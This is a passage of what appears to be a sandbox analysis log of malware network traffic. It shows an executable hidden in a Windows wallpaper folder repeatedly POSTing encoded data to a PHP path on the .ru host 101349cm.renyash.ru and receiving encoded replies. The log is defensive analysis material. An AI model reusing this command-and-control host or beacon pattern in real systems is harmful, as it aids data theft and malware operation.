cfL4;desc="?proto=TCP&rtt=3026&min_rtt=1830&rtt_var=3079&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=128036&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49750	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:17.625876904 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:17.983829021 CET	1056	OUT	Data Raw: 51 51 51 55 5a 5c 57 5f 59 5b 5a 5a 52 59 5b 5c 55 5a 5a 5e 57 5b 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQQUZ\W_Y[ZZRY[\UZZ^W[[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',#0:+"7+(\?>P$:1,7!1X%#\<.?,9]//_ ,
Jan 1, 2025 15:17:18.096894979 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:18.177567005 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:18.530692101 CET	1328	OUT	Data Raw: 51 55 54 51 5f 5a 57 5e 59 5b 5a 5a 52 5f 5b 51 55 5c 5a 5d 57 58 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUTQ_ZW^Y[ZZR_[QU\Z]WX[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',<?['<!"+X(+4?*0)>1,'5"%/3]<>'/9]//_ 4
Jan 1, 2025 15:17:18.639945030 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:18.926186085 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jRFGT7jXNryNNnGmtzMQPel4CBfaaZTR2rTYtDJ%2BSVMTHRg%2FwSrAwsoecMsALfyxCr%2F2LzOpEvHMD%2BGCdcjG77shiW7zfa4GCaqbpC7Pue6fK89WQO%2BwO49zs6dGu48TjzJm41%2BX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321d32c48c436-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4303&min_rtt=1497&rtt_var=6174&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=60965&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0b 21 3a 25 5a 24 11 0a 1d 3b 01 2e 01 3f 38 2b 02 3e 2f 26 04 31 16 3a 12 29 1c 35 57 23 3a 27 1c 2b 3c 26 0f 25 3f 26 0c 25 02 2e 5a 0d 1c 39 5e 21 58 3f 54 25 22 3a 0a 33 01 3d 19 23 13 3e 10 21 38 2f 13 26 03 0b 01 25 17 14 0f 2e 2d 2f 12 3b 2e 2e 0a 2c 30 0f 00 30 05 23 50 0f 1f 23 55 27 2e 0c 02 30 21 27 03 23 23 23 0e 21 39 35 52 23 3a 2c 52 30 03 36 5e 27 28 3a 13 31 3c 37 56 22 10 3e 54 27 32 2f 50 30 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-!:%Z$;.?8+>/&1:)5W#:'+<&%?&%.Z9^!X?T%":3=#>!8/&%.-/;..,00#P#U'.0!'###!95R#:,R06^'(:1<7V">T'2/P0/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:18.307260990 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:18.655647039 CET	1056	OUT	Data Raw: 51 56 51 54 5f 5b 52 5a 59 5b 5a 5a 52 5d 5b 5e 55 58 5a 57 57 58 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVQT_[RZY[ZZR][^UXZWWX[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A8/&)5/((7+%Q'!W2Z7Q!.\1?#?=+;:9]//_ <
Jan 1, 2025 15:17:18.780451059 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:19.076258898 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3RbEAo%2BGfAAEaPhXLES299UTrdDCrzrvCD22rxoCCSp7fEcaELF3oVdkcZlf0g2aEGRCOfJXpFJQFdgFIGQSvr%2FfKFA%2FvrFnKm9zOsoBfAPWEYMJcWpeEx%2FfLdfWULT8UHF5PisN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321d41c397291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6327&min_rtt=2005&rtt_var=9396&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=39911&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:19.204653025 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue
Jan 1, 2025 15:17:19.561912060 CET	1048	OUT	Data Raw: 54 56 54 50 5f 5d 57 5a 59 5b 5a 5a 52 5b 5b 5a 55 5c 5a 5c 57 5a 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TVTP_]WZY[ZZR[[ZU\Z\WZ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,?73]""+X+(4?.':=1?+"1'?+=?/:9]//_ (
Jan 1, 2025 15:17:19.648847103 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:19.824585915 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fMXaSUTzaIROjzzdAiesFR9pnLnY53CLKZ4%2FhUgTjtoHDrq5WPNWwr%2BKoba6BX4ovI5BLdIJ9%2BOlUoKuY71KatOMHGvymcIxqFVgajqWXPVaZau8EwfRSrNM7vtEC0nw%2B9tciA8w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321d98b744283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2378&min_rtt=1760&rtt_var=1897&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1352&delivery_rate=217650&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:19.955943108 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:20.314697027 CET	1056	OUT	Data Raw: 54 52 54 5e 5f 59 57 59 59 5b 5a 5a 52 5e 5b 5e 55 5a 5a 5f 57 50 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRT^_YWYY[ZZR^[^UZZ_WP[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$8<+^'98517<(+9T05P1/7W!1.&$+,9]//_ 0
Jan 1, 2025 15:17:20.619142056 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:20.625602007 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:20.662494898 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rmnC0C3Sf2Wph2dTHRphgZ9O%2F49qQMBuGdDxQUjQvUG0AtRpE2Nt081Ec%2Bbmj6G1D6ZquGgG6AakUjNUizy92KarTDPQc%2FRyCoj1U7PwwvCqOtsU6KeKcgActlXzQN20KdaTGHir"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321de48c3c434-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3527&min_rtt=1519&rtt_var=4586&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=83020&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:20.782752991 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:21.140109062 CET	1056	OUT	Data Raw: 54 5c 54 55 5a 5c 57 5f 59 5b 5a 5a 52 53 5b 58 55 59 5a 5e 57 5f 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TUZ\W_Y[ZZRS[XUYZ^W_[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B/?#[3\5W<(+>0$/;W!16]2<'?,*9]//_
Jan 1, 2025 15:17:21.226649046 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:21.497968912 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7gSOsLZsuicbjR6mK3IuBKnVzbxcBwY50dF3sR9DY5F4m%2FXYfKzuVHsgYIL1uvUEptSWtwHwF2PnKWIvNeEsew7xqaWFkfxVVufY4ZMjy4qtIag4ZInzXutkahgecAoDPyMprwMU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321e359a5c33d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2496&min_rtt=1721&rtt_var=2197&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=184157&cwnd=137&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:21.626216888 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:21.983980894 CET	1056	OUT	Data Raw: 51 51 54 57 5f 5e 57 5b 59 5b 5a 5a 52 5c 5b 5d 55 5e 5a 5a 57 5d 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQTW_^W[Y[ZZR\[]U^ZZW][_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/?7Y$4!1+?^+(>9W0:&??W!"52<'\<-7_;9]//_
Jan 1, 2025 15:17:22.100419998 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:22.354752064 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nQ54Vt8lf2l06O8bnVg6XH4joCiJNGfS6PoYfNN82wk%2FfmsYr4JSKGOqzXphoKImZcXKisOyXfsMFVxMLtrltrA9zFNPv8GptA5mQFoVhzM53iv57EcxbtZtkX0xJ%2B2toJs4cfKq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321e8c9e542e5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8424&min_rtt=1864&rtt_var=13819&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=26865&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:22.486349106 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:22.844789028 CET	1056	OUT	Data Raw: 51 50 54 56 5f 5d 57 5b 59 5b 5a 5a 52 58 5b 5e 55 59 5a 5f 57 5e 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPTV_]W[Y[ZZRX[^UYZ_W^[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D-/?X3)'6!8+'[=>%P$::$<7"1"1]+>^/9]//_ (
Jan 1, 2025 15:17:22.943802118 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:23.211091042 CET	817	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FjDd7P8BekUu74%2FwS0%2FYbelScYxv%2BPD3Co25%2FdEwhzEaFjRJSwpzhJQvN6nRSTc4wva%2FUdGossqtIrKdB%2BIjHjNN5Z%2BKmglsEYOUDYgq3PlUYoHxaLYU%2BJqa%2Fn2aVffWjHIG5Qzn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321ee19bd7c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3536&min_rtt=1995&rtt_var=3830&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=101933&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:23.329941034 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:23.690326929 CET	1056	OUT	Data Raw: 54 51 51 55 5f 5a 57 5c 59 5b 5a 5a 52 5f 5b 50 55 5a 5a 5e 57 59 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQQU_ZW\Y[ZZR_[PUZZ^WY[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,/4$_8Z#"4(+](>V'9S%;U""%<.?\;9]//_ 4
Jan 1, 2025 15:17:23.772867918 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:23.943665981 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:24.296307087 CET	1328	OUT	Data Raw: 54 56 51 53 5a 5c 57 5d 59 5b 5a 5a 52 5f 5b 50 55 59 5a 5d 57 51 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TVQSZ\W]Y[ZZR_[PUYZ]WQ[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D8/'$54(; ?>9U395S2??Q5>2'< ,9]//_ 4
Jan 1, 2025 15:17:24.398389101 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:24.586608887 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n5sAfBZfwpcoMzzYh%2BJfRWZS0axNiYhjLZIQlxT3iFz8b6KrItQOx30a5viO6nNfjDN7Erxh3DjP9PRY7C3d3B%2BLVHp%2BdTeDd1vRhy0uCXRc76o1UJaj%2Fu9smYcWa7vk%2BGlcSdpS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321f73fc541e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3988&min_rtt=2489&rtt_var=3933&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=100773&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 57 36 39 31 5a 24 2f 2c 12 2c 06 32 00 29 28 28 5c 3e 02 0f 5a 26 38 04 1d 2a 32 0b 1b 23 39 27 1a 28 2c 03 57 24 3c 25 1d 25 12 2e 5a 0d 1c 3a 07 22 00 3f 55 32 54 25 52 30 06 29 5c 34 03 3d 00 23 2b 23 11 25 3d 0c 11 24 2a 22 0d 2c 2e 33 5b 3b 2e 21 1a 2f 23 22 59 27 2f 23 50 0f 1f 23 54 27 3d 2d 5b 27 22 2b 00 36 30 30 55 22 04 2d 57 20 2a 24 51 30 3a 21 06 27 16 26 1c 27 2f 3b 56 36 07 22 52 26 21 37 50 27 32 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.W691Z$/,,2)((\>Z&82#9'(,W$<%%.Z:"?U2T%R0)\4=#+#%=$",.3[;.!/#"Y'/#P#T'=-['"+600U"-W *$Q0:!'&'/;V6"R&!7P'2/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:24.069658995 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
